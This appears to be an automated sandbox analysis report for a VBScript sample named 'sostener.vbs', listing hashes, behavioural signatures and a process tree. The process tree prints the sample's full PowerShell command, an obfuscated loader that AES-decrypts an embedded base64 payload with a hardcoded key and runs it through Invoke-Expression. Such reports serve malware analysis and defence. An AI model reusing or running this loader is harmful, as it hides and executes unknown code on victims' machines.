Analysis
-
max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
05/12/2023, 12:47
Static task
static1
Behavioral task
behavioral1
Sample
sostener.vbs
Resource
win7-20231023-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
sostener.vbs
Resource
win10v2004-20231127-en
10 signatures
150 seconds
General
-
Target
sostener.vbs
-
Size
159KB
-
MD5
bddd8601fde69d9376fec504ee5c812a
-
SHA1
a0e6e03bc0ffdfa06535e2c6ce501e8037e1b331
-
SHA256
135bda295f096086b57df4c66f9edc207b01d7792c16b808039f8fa64e9eecf1
-
SHA512
8db21dbff6bc24647092eac6909a7962c182fe1970d8a9e57c922959061e750914485319594e74099599e4b619f4700a4b332cf84b071b09683bf46e048c5e9f
-
SSDEEP
192:m2aql0M+pOo8nOncu1IbNyUWDcavU5VvJlZcHh2aHJlZx:fauoqGcuWUUWDNUlpapN
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1916 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2320 wrote to memory of 1916 2320 WScript.exe 28 PID 2320 wrote to memory of 1916 2320 WScript.exe 28 PID 2320 wrote to memory of 1916 2320 WScript.exe 28
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '87515485271233904521';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916
-